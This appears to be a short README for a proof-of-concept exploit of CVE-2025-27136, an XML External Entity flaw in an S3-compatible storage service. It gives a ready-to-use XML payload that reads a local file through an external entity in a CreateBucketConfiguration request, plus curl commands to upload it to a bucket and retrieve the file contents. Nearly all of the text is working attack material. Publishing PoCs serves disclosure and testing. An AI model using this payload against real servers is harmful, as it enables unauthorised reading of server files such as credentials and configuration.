issaboudin/cve-2025-27136XML External Entity PoC in an S3.
Exploiting an XML External Entity (XXE) Vulnerability.
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
Use curl to upload test.xml from our local machine to the bucket.
curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml
Trigger the Exploit & Grab the File
curl http://127.0.0.1:PORT/TB1?location